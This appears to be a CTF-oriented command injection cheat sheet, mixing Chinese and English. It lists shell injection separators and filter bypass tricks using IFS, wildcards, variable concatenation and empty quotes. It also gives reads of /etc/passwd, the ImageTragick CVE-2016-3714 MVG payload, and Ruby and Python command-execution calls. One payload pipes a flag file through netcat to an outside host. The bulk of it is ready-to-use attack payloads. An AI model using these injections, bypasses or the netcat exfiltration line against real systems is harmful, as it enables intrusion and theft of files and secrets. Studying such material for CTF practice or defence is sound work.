Command Injection

| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`

. flag
PS1=$(cat flag)

? and *

  • ? match one character
    • cat fl?g
    • /???/??t /???/p??s??
  • * match 多個
    • cat f*
    • cat f?a*

空白繞過

  • ${IFS}
    • cat${IFS}flag
    • ls$IFS-alh
    • cat$IFS$2flag
  • cat</etc/passwd
  • {cat,/etc/passwd}
  • X=$'cat\x20/etc/passwd'&&$X
  • IFS=,;`cat<<<uname,-a`
    • bash only

Keyword繞過

  • String Concat

    • A=fl;B=ag;cat $A$B

  • Empty Variable

    • cat fl${x}ag
    • cat tes$(z)t/flag

  • Environment Variable

    • $PATH => "/usr/local/….blablabla”
      • ${PATH:0:1} => '/'
      • ${PATH:1:1} => 'u'
      • ${PATH:0:4} => '/usr'

  • Empty String

    • cat fl""ag
    • cat fl''ag
      • cat "fl""ag"

ImageMagick (ImageTragick)

  • CVE-2016-3714
  • mvg格式包含https處理(使用curl下載)，可以閉合雙引號
  • payload:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context

Ruby Command Executing

  • open("| ls")
  • IO.popen("ls").read
  • Kernel.exec("ls")
  • `ls`
  • system("ls")
  • eval("ruby code")
    • Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
      • $$/$$ => 1
      • '' << 97 << 98 << 99 => "abc"
      • $:即$LOAD_PATH
  • exec("ls")
  • %x{ls}
  • Net::FTP
    • CVE-2017-17405
    • use Kernel#open

Python Command Executing

  • os.system("ls")
  • os.popen("ls").read()
  • os.execl("/bin/ls","")
  • os.execlp("ls","")
  • os.execv("/bin/ls",[''])
  • os.execvp("/bin/ls",[""])
  • subprocess.call("ls")
    • subprocess.call("ls|cat",shell=False) => Fail
    • subprocess.call("ls|cat",shell=True) => Correct
  • eval("__import__('os').system('ls')")
  • exec("__import__('os').system('ls')")
  • commands.getoutput('ls')